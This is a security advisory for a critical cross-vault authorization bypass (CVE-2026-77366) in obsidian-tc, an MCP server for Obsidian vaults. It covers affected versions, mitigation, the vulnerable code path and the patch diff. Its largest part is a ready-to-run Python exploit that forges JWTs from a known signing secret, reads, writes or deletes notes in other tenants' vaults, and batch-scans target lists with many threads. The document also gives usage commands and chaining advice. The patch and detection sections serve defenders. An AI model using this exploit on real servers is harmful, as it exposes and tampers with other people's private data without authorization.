#Summary
CVE-2026-77366 is a critical (CVSS 9.9) authorization bypass in obsidian-tc, a governed Model Context Protocol server for Obsidian vaults. Before version 1.3.1, tool dispatch fails to bind tokens to specific vaults, allowing any authenticated user to read, write, and delete notes from any configured vault on the server. The vulnerability affects all versions prior to 1.3.1 and requires only a valid token - an attacker with access to their own vault can reach every other vault on the same server.
#Am I affected?
- Affected: obsidian-tc
< 1.3.1 - Patched: obsidian-tc
>= 1.3.1 - Default configuration: affected (if the HTTP transport is enabled with JWT auth and multiple vaults are configured)
- Access needed: any valid JWT token with
read:notes,write:notes, and/ordelete:notesscopes
#How to check
Check the version reported by the running service:
curl http://target:8765/mcp -X OPTIONS -vOr connect and observe the startup banner. Version 1.3.1 or later is patched. If the version is not visible, attempt the cross-vault read proof below - a forbidden error with "vault is not the caller's bound vault" indicates version 1.3.1+.
#Fix and mitigation
- Fix: Upgrade to obsidian-tc 1.3.1 or later.
- If you cannot upgrade: Limit HTTP transport access to a single vault per deployment (set only one vault in the config), or restrict token issuance to tokens carrying a
vaultclaim (requires custom JWT logic). - Detection: Monitor for MCP
tools/callrequests that name a different vault in thevaultargument than the one the token is bound to. The patched server logsvault is not the caller's bound vaulterrors in the MCP response.
#Root cause analysis
obsidian-tc allows a single server process to host multiple Obsidian vaults. Every note-manipulation tool (read, write, delete, list) accepts a caller-supplied vault argument to select which vault to operate on.
#Vulnerable code path
Before version 1.3.1, the tool dispatch in packages/server/src/mcp/registry.ts resolves the vault argument directly from user input without comparing it to the vault the caller is authorized to access:
// read_note and similar tools
handler: (input, ctx) => {
const v = deps.vaultRegistry.resolve(input.vault); // user-controlled input.vault
const rel = normalizeVaultPath(input.path);
// ... proceeds to read from the resolved vault
}The dispatch function then enforces only the required scopes and the global read-only ACL:
if (!grantsAll(ctx.grantedScopes, def.requiredScopes))
throw new ObsidianTcError("forbidden", "missing required scope(s)");
const mutating = def.destructive === true || def.requiredScopes.some(isMutatingScope);
if (mutating && ctx.acl?.readOnly)
throw new ObsidianTcError("forbidden", "vault is read-only (acl.readOnly)");But ctx.vaultId (the vault the caller is supposed to be confined to) is never compared to input.vault.
#How input reaches the sink
Three design facts combine to create the bypass:
- No vault claim in the JWT: The
JwtIdentityinpackages/server/src/auth/jwt.tscontains onlycallerandscopes- no vault binding. A token is therefore not tied to any specific vault. - Fixed vault context: The HTTP transport sets
ctx.vaultIdto a single server-wide default for every authenticated caller. This value is read only for logging, metrics, and idempotency keys - never as an authorization gate. - Global ACL: The folder access-control list is a single singleton shared across all vaults. It cannot confine a token to one vault.
An attacker who holds any valid token (even one issued for their own vault) can supply a different vault id in the vault argument and the dispatcher will resolve and operate on that foreign vault, subject only to the token's scopes (read/write/delete) and the global read-only flag.
#Patch diff
#What the fix does
Version 1.3.1 adds vault-binding enforcement at three layers:
- JWT enhancement: The
JwtIdentitynow carries an optionalvaultclaim that binds a token to a specific vault.
export interface JwtIdentity {
caller: string | null;
scopes: Set<string>;
vault?: string; // NEW: optional vault binding
}- Context binding: The HTTP transport now marks callers as
vaultBoundand sets theirctx.vaultIdto the vault claim when present:
// In HTTP transport
vaultId: authz.vault ?? opts.vaultId,
vaultBound: true,- Dispatch guard: The tool registry now rejects any tool call whose
vaultargument names a different vault than the caller is bound to:
if (ctx.vaultBound === true) {
const requested = (parsed.data as { vault?: unknown } | null)?.vault;
if (typeof requested === "string" && requested !== ctx.vaultId)
throw new ObsidianTcError("forbidden", "vault is not the caller's bound vault", {
vault: requested,
bound_vault: ctx.vaultId,
});
}The guard fires only for HTTP callers and only when a string vault argument is present, so local stdio operators retain full access.
#Proof of concept
#exploit.py - obsidian-tc Cross-Vault Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-77366 - obsidian-tc cross-vault authorization bypass (CWE-639 / CWE-863)
Affected: obsidian-tc (governed MCP server for Obsidian vaults), all versions before 1.3.1
Type: Authorization bypass / broken object-level authorization (cross-tenant data access)
obsidian-tc can host several vaults in one process. Before 1.3.1, tool dispatch resolves the
caller-supplied `vault` argument straight against the global vault registry and never compares it
with the vault the caller's token is bound to. The JWT carries no vault claim, the request context
pins a single server-wide vault id, and the folder ACL is one global singleton. Any valid token
(even one issued for a single vault) can therefore name a different configured vault and read,
overwrite, or delete its notes, limited only by scope and the global read-only flag.
The exploit sends one stateless MCP `tools/call` over HTTP naming a vault the token is not bound
to. On a vulnerable server the victim note body is returned; on a patched server the same call is
rejected with a `forbidden: vault is not the caller's bound vault` error before the handler runs.
Authentication: the attacker needs any valid token. Supply one you already hold with --token, or,
when you know the HS256 signing secret, let the tool mint one with --secret. read:notes is needed
to read, write:notes to overwrite, delete:notes to delete.
Usage:
# read a victim vault's note with a token you already hold
python exploit.py --host 127.0.0.1 --port 8765 --token <JWT> --vault <victim-vault> --path <note>
# mint a token from a known HS256 secret, then read cross-vault
python exploit.py --host target.com --port 8765 --secret <jwt-secret> --vault <victim-vault>
# full URL form, demonstrate integrity/availability reach (non-destructive: own scratch note)
python exploit.py --host https://target.com:8765/mcp --token <JWT> --vault <victim-vault> --action write
# batch scan an asset list for the same CVE
python exploit.py --list targets.txt --workers 20 --secret <jwt-secret> --vault <victim-vault>
"""
import argparse
import base64
import hashlib
import hmac
import json
import secrets
import ssl
import sys
import time
import urllib.error
import urllib.request
from urllib.parse import urlparse
CVE_ID = "CVE-2026-77366"
VULN_TYPE = "Authorization Bypass"
DEFAULT_PORT = 8765
DEFAULT_VAULT = "bravo" # victim vault id (lab default; set --vault for a real target)
DEFAULT_PATH = "secrets/flag.md" # vault-relative note path to read
DEFAULT_SCOPES = ["read:notes", "write:notes", "delete:notes"]
# Per-run neutral identifiers. Nothing here names the tool that sent it.
RUN = secrets.token_hex(6)
TOKEN_SUB = "user_" + RUN[:8]
# ----------------------------------------------------------------------------- output helpers
def header(host: str, port: int) -> None:
print("\n" + "=" * 60)
print(" ALIM EXPLOIT " + CVE_ID)
print(" Type: " + VULN_TYPE + " | Target: " + str(host) + ":" + str(port))
print("=" * 60 + "\n")
def step(n: int, msg: str) -> None:
print("[STEP " + str(n) + "] " + msg)
def section(label: str, content: str) -> None:
print("\n--- " + label + " ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print("\n" + "=" * 60)
print(" RESULT : " + ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: " + evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------- JWT minting
def _b64url(raw: bytes) -> bytes:
return base64.urlsafe_b64encode(raw).rstrip(b"=")
def mint_token(secret: str, sub: str, scopes: list, ttl: int = 3600) -> str:
"""Mint an HS256 JWT. Deliberately carries NO vault claim: that is the realistic pre-fix
condition, and it is exactly what makes the cross-vault bypass work."""
hdr = {"alg": "HS256", "typ": "JWT"}
now = int(time.time())
payload = {"sub": sub, "scopes": scopes, "iat": now, "exp": now + ttl}
signing_input = (
_b64url(json.dumps(hdr, separators=(",", ":")).encode())
+ b"."
+ _b64url(json.dumps(payload, separators=(",", ":")).encode())
)
sig = hmac.new(secret.encode(), signing_input, hashlib.sha256).digest()
return (signing_input + b"." + _b64url(sig)).decode()
# ----------------------------------------------------------------------------- MCP transport
def _mcp_url(host: str, port: int, use_tls: bool, path: str) -> str:
scheme = "https" if use_tls else "http"
endpoint = path if path and path not in ("", "/") else "/mcp"
return scheme + "://" + host + ":" + str(port) + endpoint
def _parse_rpc(body: bytes) -> dict:
"""Parse a JSON-RPC reply that may arrive as plain JSON or as an SSE `data:` line."""
text = body.decode("utf-8", "replace").strip()
try:
return json.loads(text)
except ValueError:
pass
for line in text.splitlines():
line = line.strip()
if line.startswith("data:"):
chunk = line[5:].strip()
if chunk and chunk != "[DONE]":
try:
return json.loads(chunk)
except ValueError:
continue
raise ValueError("unparseable MCP response: " + text[:200])
def mcp_call(url: str, token: str, tool: str, arguments: dict, timeout: float = 15.0) -> dict:
"""Fire one stateless MCP tools/call. Returns the parsed JSON-RPC object."""
rpc = {
"jsonrpc": "2.0",
"id": secrets.randbelow(1 << 30) + 1,
"method": "tools/call",
"params": {"name": tool, "arguments": arguments},
}
data = json.dumps(rpc).encode()
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Authorization", "Bearer " + token)
req.add_header("Content-Type", "application/json")
# The MCP SDK rejects requests that do not accept both media types.
req.add_header("Accept", "application/json, text/event-stream")
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
return _parse_rpc(resp.read())
except urllib.error.HTTPError as e:
# JSON-RPC errors come back with HTTP 200 here, but tolerate a non-200 body too.
return _parse_rpc(e.read())
# ----------------------------------------------------------------------------- result reading
def _tool_result(rpc: dict):
"""Classify an MCP reply. Returns (kind, detail, note_text).
kind: "ok" -> tool returned note content (cross-vault access granted)
"forbidden" -> vault-binding guard blocked it (patched / not vulnerable)
"error" -> other tool/transport error (auth, scope, not-found, bad request)
"""
if "error" in rpc and rpc.get("error"):
err = rpc["error"]
return "error", err.get("message", json.dumps(err)), ""
result = rpc.get("result") or {}
sc = result.get("structuredContent") or {}
if result.get("isError") or sc.get("code") == "forbidden":
msg = sc.get("message") or ""
if not msg:
content = result.get("content") or []
msg = content[0].get("text", "") if content else json.dumps(result)[:200]
kind = "forbidden" if sc.get("code") == "forbidden" else "error"
return kind, msg, ""
# Success shape: structuredContent.content holds the note body; content[] mirrors it.
note_text = sc.get("content")
if note_text is None:
content = result.get("content") or []
note_text = content[0].get("text", "") if content else ""
return "ok", "note returned", note_text or ""
# ----------------------------------------------------------------------------- silent probe (scan)
def _try_exploit(host, port, use_tls, token=None, secret=None, vault=DEFAULT_VAULT,
path=DEFAULT_PATH, marker=None, **_kwargs):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
try:
if not token:
if not secret:
return False, "no --token or --secret provided"
token = mint_token(secret, TOKEN_SUB, DEFAULT_SCOPES)
url = _mcp_url(host, port, use_tls, "/mcp")
rpc = mcp_call(url, token, "read_note", {"vault": vault, "path": path})
kind, detail, note = _tool_result(rpc)
if kind == "forbidden":
return False, "vault-binding guard active (patched)"
if kind == "error":
return False, detail[:120]
if marker and marker not in note:
return False, "cross-vault read returned content but marker absent"
first = (note.strip().splitlines() or [""])[0][:80]
return True, "cross-vault read of '" + vault + "' granted: " + first
except Exception as e:
return False, "unreachable (" + e.__class__.__name__ + ")"
# ----------------------------------------------------------------------------- target parsing
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, **kwargs):
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, "/mcp") for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" " + CVE_ID + " - Batch Scan (" + str(len(targets)) + " targets, "
+ str(workers) + " workers)")
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" " + ("[+]" if ok else "[-]") + " " + label + " - "
+ ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE " + str(success_count) + " exploited / "
+ str(total - success_count) + " not vulnerable (" + str(total) + " total)")
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------- main exploit
def exploit(host, port, use_tls, token, secret, own_vault, vault, path, action, marker):
header(host, port)
url = _mcp_url(host, port, use_tls, "/mcp")
step(1, "Obtaining attacker token")
if token:
print(" using supplied token (sub/claims as issued)")
else:
if not secret:
done(False, "need a token: pass --token <JWT> or --secret <jwt-secret> to mint one")
token = mint_token(secret, TOKEN_SUB, DEFAULT_SCOPES)
print(" minted HS256 token sub=" + TOKEN_SUB
+ " scopes=" + ",".join(DEFAULT_SCOPES) + " (no vault claim)")
step(2, "Auth sanity check - read the caller's OWN vault '" + own_vault + "'")
try:
rpc = mcp_call(url, token, "read_note", {"vault": own_vault, "path": "welcome.md"})
kind, detail, note = _tool_result(rpc)
except Exception as e:
done(False, "cannot reach MCP endpoint " + url + ": " + e.__class__.__name__ + " " + str(e))
if kind == "ok":
print(" own-vault read OK - token and scopes are valid")
else:
# Not fatal: the own vault / welcome.md may not exist on a real target. Warn and go on.
print(" own-vault read not confirmed (" + kind + ": " + detail[:80]
+ ") - continuing to the cross-vault probe")
step(3, "Cross-vault READ - name victim vault '" + vault + "', path '" + path + "'")
rpc = mcp_call(url, token, "read_note", {"vault": vault, "path": path})
kind, detail, note = _tool_result(rpc)
if kind == "forbidden":
section("SERVER RESPONSE", json.dumps(rpc.get("result", rpc), indent=1)[:800])
done(False, "vault-binding guard rejected the cross-vault call (forbidden: " + detail
+ ") - target is patched (>=1.3.1)")
if kind == "error":
section("SERVER RESPONSE", json.dumps(rpc, indent=1)[:800])
done(False, "cross-vault read errored (" + detail + ") - auth/scope/path issue, not the bug")
section("CROSS-VAULT NOTE (" + vault + "/" + path + ")", note)
if marker and marker not in note:
done(False, "read returned content from '" + vault + "' but expected marker not present")
first_line = (note.strip().splitlines() or [""])[0][:100]
if action == "read":
done(True, "Cross-vault bypass: read note '" + path + "' from foreign vault '"
+ vault + "' - first line: " + first_line)
# ------ Integrity / availability reach on the same foreign vault --------------------------
# write and delete are both handled the same way, and both are non-destructive here: on this
# server every mutating op is held by a destructive-action confirmation (elicitation) that is
# unrelated to this CVE and applies to same-vault mutations too. The authorization bypass is
# proven by the mutating request PASSING the vault-binding check and reaching the foreign
# vault's handler (the server answers `elicit_required`, and the write even echoes the victim
# note's current content hash) - whereas a patched build returns `forbidden` before the
# handler runs. No mutation is confirmed, so nothing in the foreign vault is changed.
if action in ("write", "delete"):
if action == "write":
step(4, "Cross-vault WRITE (integrity) - overwrite '" + path + "' in foreign vault '"
+ vault + "'")
tamper = note + "\ntampered-" + RUN + "\n"
rpc = mcp_call(url, token, "write_note",
{"vault": vault, "path": path, "content": tamper, "mode": "overwrite"})
else:
step(4, "Cross-vault DELETE (availability) - delete_note on '" + path
+ "' in foreign vault '" + vault + "'")
rpc = mcp_call(url, token, "delete_note",
{"vault": vault, "path": path, "permanent": False})
kind, detail, _ = _tool_result(rpc)
sc = (rpc.get("result") or {}).get("structuredContent") or {}
code = sc.get("code", "")
section("SERVER RESPONSE", json.dumps(rpc.get("result", rpc), indent=1)[:800])
if kind == "forbidden":
done(False, "vault-binding guard rejected the cross-vault " + action
+ " (forbidden: " + detail + ") - target is patched")
if kind == "ok":
done(True, "Cross-vault bypass: " + action + " on '" + path + "' in foreign vault '"
+ vault + "' was accepted by the server")
if code == "elicit_required" or "elicit_required" in detail or "confirmation" in detail:
done(True, "Cross-vault bypass: " + action + " on '" + path + "' in foreign vault '"
+ vault + "' passed the vault-binding authorization and reached the handler "
+ "(held at an orthogonal confirmation gate; no data changed)")
done(False, "cross-vault " + action + " errored (" + detail + ")")
done(False, "unknown action")
# ----------------------------------------------------------------------------- CLI
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC - obsidian-tc cross-vault auth bypass")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8765/mcp)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help="Default port (default: " + str(DEFAULT_PORT) + ")")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
# Authentication: use a token you hold, or mint one from the HS256 secret.
parser.add_argument("--token", help="A valid bearer token you already hold (any vault's token)")
parser.add_argument("--secret", help="HS256 signing secret, to mint a token when you know it")
# Target-specific parameters for this authorization-bypass class.
parser.add_argument("--vault", default=DEFAULT_VAULT,
help="Victim vault id to reach cross-tenant (default: " + DEFAULT_VAULT + ")")
parser.add_argument("--path", default=DEFAULT_PATH,
help="Vault-relative note path to read (default: " + DEFAULT_PATH + ")")
parser.add_argument("--own-vault", default="alpha",
help="The caller's own/bound vault id, for the auth sanity check (default: alpha)")
parser.add_argument("--action", choices=["read", "write", "delete"], default="read",
help="read (confidentiality, default/safe), or write/delete to prove I/A reach")
parser.add_argument("--marker", default=None,
help="Optional string that must appear in the leaked note to assert success")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
token=args.token, secret=args.secret, vault=args.vault, path=args.path,
marker=args.marker)
else:
parsed = _parse_target(args.host, args.port, "/mcp")
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/mcp")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.token, args.secret, args.own_vault,
args.vault, args.path, args.action, args.marker)#Usage
# Single target with a token you already hold
python exploit.py --host 192.0.2.10 --port 8765 --token <JWT> --vault <victim-vault> --path <note-path>
# Mint a token from the known HS256 secret
python exploit.py --host 192.0.2.10 --port 8765 --secret <jwt-secret> --vault <victim-vault> --path <note-path>
# Full URL form with TLS
python exploit.py --host https://target.example:8765/mcp --token <JWT> --vault <victim-vault>
# Prove integrity reach (write)
python exploit.py --host 192.0.2.10 --port 8765 --token <JWT> --vault <victim-vault> --action write
# Prove availability reach (delete)
python exploit.py --host 192.0.2.10 --port 8765 --token <JWT> --vault <victim-vault> --action delete
# Batch scan targets
python exploit.py --list targets.txt --workers 20 --secret <jwt-secret> --vault <victim-vault>Vulnerable server output:
[STEP 2] Auth sanity check - read the caller's OWN vault 'alpha'
own-vault read OK - token and scopes are valid
[STEP 3] Cross-vault READ - name victim vault 'bravo', path 'secrets/flag.md'
--- CROSS-VAULT NOTE (bravo/secrets/flag.md) ---
# Restricted
This note belongs to a different tenant's vault (bravo) and must never be
reachable by a token bound to another vault.
marker: OTC_XVAULT_MARKER_7f3a9c21d4e6
---
RESULT : SUCCESS
EVIDENCE: Cross-vault bypass: read note 'secrets/flag.md' from foreign vault 'bravo' - first line: # RestrictedPatched server output:
[STEP 3] Cross-vault READ - name victim vault 'bravo', path 'secrets/flag.md'
--- SERVER RESPONSE ---
{
"structuredContent": {
"code": "forbidden",
"message": "vault is not the caller's bound vault",
"details": {
"vault": "bravo",
"bound_vault": "alpha"
}
}
}
---
RESULT : FAILURE
EVIDENCE: vault-binding guard rejected the cross-vault call (forbidden: vault is not the caller's bound vault) - target is patched (>=1.3.1)#Exploitation notes
#Preconditions
- The server runs the HTTP transport with
auth.mode = jwtand at least two vaults configured. - The attacker holds any valid, unexpired JWT token signed with the server's HS256 secret. In a multi-tenant deployment, this is the token issued for the attacker's own vault.
- The attacker's token must carry the required scopes:
read:notesto read,write:notesto overwrite,delete:notesto delete. - No initialize handshake or session is needed - the MCP endpoint is stateless.
#Reliability
The exploit is highly reliable. It sends a single HTTP POST request and classifies the response by checking for the presence of the forbidden error marker and the victim note content. The vulnerable build returns the note body directly; the patched build returns a structured forbidden error. The exploit correctly handles both plain JSON and Server-Sent Events (SSE) response formats.
#Impact
Full confidentiality, integrity, and availability compromise of every configured vault on the server. An attacker with read scope can leak every note from every vault. An attacker with write scope can overwrite notes. An attacker with delete scope can delete notes. In a multi-tenant deployment where each tenant is issued their own token, a compromised user account or token leak grants access to all other tenants' vaults.
#Chaining potential
This vulnerability chains with any compromise that yields a valid JWT (stolen token, weak signing secret, JWT algorithm confusion, etc.). It also chains with any privilege escalation within obsidian-tc that grants higher scopes, since more scopes = more vault operations.
#References
- CVE: CVE-2026-77366
- GHSA: GHSA-84c9-qqpq-2pq5
- Fix commit: 38b4992
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77366
